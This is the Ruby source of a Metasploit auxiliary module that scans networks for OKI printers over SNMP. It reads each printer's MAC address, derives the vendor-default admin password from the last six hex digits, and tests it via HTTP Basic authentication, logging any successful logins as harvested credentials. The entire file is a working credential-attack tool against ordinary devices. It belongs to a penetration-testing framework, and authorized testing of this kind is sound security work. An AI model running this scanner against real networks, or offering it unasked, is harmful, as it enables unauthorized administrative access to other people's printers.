OKI Printer Default Login Credential Scanner

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
# TODO: Split this module into two separate SNMP and HTTP modules.  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::SNMPClient  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'OKI Printer Default Login Credential Scanner',  
'Description' => %q{  
This module scans for OKI printers via SNMP, then tries to connect to found devices  
with vendor default administrator credentials via HTTP authentication. By default, OKI  
network printers use the last six digits of the MAC as admin password.  
},  
'Author' => 'antr6X <anthr6x[at]gmail.com>',  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
OptPort.new('SNMPPORT', [true, 'The SNMP Port', 161]),  
OptPort.new('HTTPPORT', [true, 'The HTTP Port', 80])  
])  
  
deregister_options('RPORT', 'VHOST')  
end  
  
def cleanup  
datastore['RPORT'] = @org_rport  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: opts[:service_name],  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
  
login_data = {  
last_attempted_at: Time.now,  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::SUCCESSFUL,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def run_host(ip)  
@org_rport = datastore['RPORT']  
datastore['RPORT'] = datastore['SNMPPORT']  
  
index_page = "index_ad.htm"  
auth_req_page = "status_toc_ad.htm"  
snmp = connect_snmp()  
  
snmp.walk("1.3.6.1.2.1.2.2.1.6") do |mac|  
last_six = mac.value.unpack("H2H2H2H2H2H2").join[-6,6].upcase  
first_six = mac.value.unpack("H2H2H2H2H2H2").join[0,6].upcase  
  
# check if it is a OKI  
# OUI list can be found at http://standards.ieee.org/develop/regauth/oui/oui.txt  
if first_six == "002536" || first_six == "008087" || first_six == "002536"  
sys_name = snmp.get_value('1.3.6.1.2.1.1.5.0').to_s  
print_status("Found: #{sys_name}")  
print_status("Trying credential: admin/#{last_six}")  
  
tcp = Rex::Socket::Tcp.create(  
'PeerHost' => rhost,  
'PeerPort' => datastore['HTTPPORT'],  
'Context' =>  
{  
'Msf'=>framework,  
'MsfExploit'=>self  
}  
)  
  
auth = Rex::Text.encode_base64("admin:#{last_six}")  
  
http_data = "GET /#{auth_req_page} HTTP/1.1\r\n"  
http_data << "Referer: http://#{ip}/#{index_page}\r\n"  
http_data << "Authorization: Basic #{auth}\r\n\r\n"  
  
tcp.put(http_data)  
data = tcp.recv(12)  
  
response = "#{data[9..11]}"  
  
case response  
when "200"  
print_good("#{rhost}:#{datastore['HTTPPORT']} logged in as: admin/#{last_six}")  
report_cred(  
ip: rhost,  
port: datastore['HTTPPORT'],  
service_name: 'http',  
user: 'admin',  
password: last_six,  
proof: response.inspect  
)  
when "401"  
print_error("Default credentials failed")  
when "404"  
print_status("Page not found, try credential manually: admin/#{last_six}")  
else  
print_status("Unexpected message")  
end  
  
disconnect()  
end  
end  
  
# No need to make noise about timeouts  
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion  
rescue ::Interrupt  
raise $!  
rescue ::Exception => e  
print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")  
ensure  
disconnect_snmp  
end  
end  
`